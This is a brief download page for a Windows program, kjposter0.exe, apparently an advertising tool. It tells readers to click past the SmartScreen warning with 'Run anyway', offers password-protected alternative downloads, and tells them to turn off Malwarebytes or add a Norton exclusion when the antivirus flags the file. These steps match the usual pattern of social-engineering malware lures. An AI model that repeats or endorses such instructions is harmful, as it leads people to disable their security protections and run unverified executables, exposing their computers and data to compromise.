Downloading
https://dl.jiposter.com/downloads/kjposter0.exe
into default downloads folder. If you've never changed it, then you can open it by inputting %USERPROFILE%\Downloads in Start Menu and pressing Enter key.

Double click on downloaded file to install.
Click 'More info' on 'Windows protected your PC' (blue SmartScreen warning) and then 'Run anyway' button.
- Try alternative installation links: here and here and here (Password is 1)

It is ad poster and that is the reason why your antivirus may find it suspicious. If you can't download or install then:
- If you have malwarebytes antivirus then turn off antivirus temporary
- If you have Symantec Norton antivirus then add an exclusion for the program's folder. You can report incorrect detection here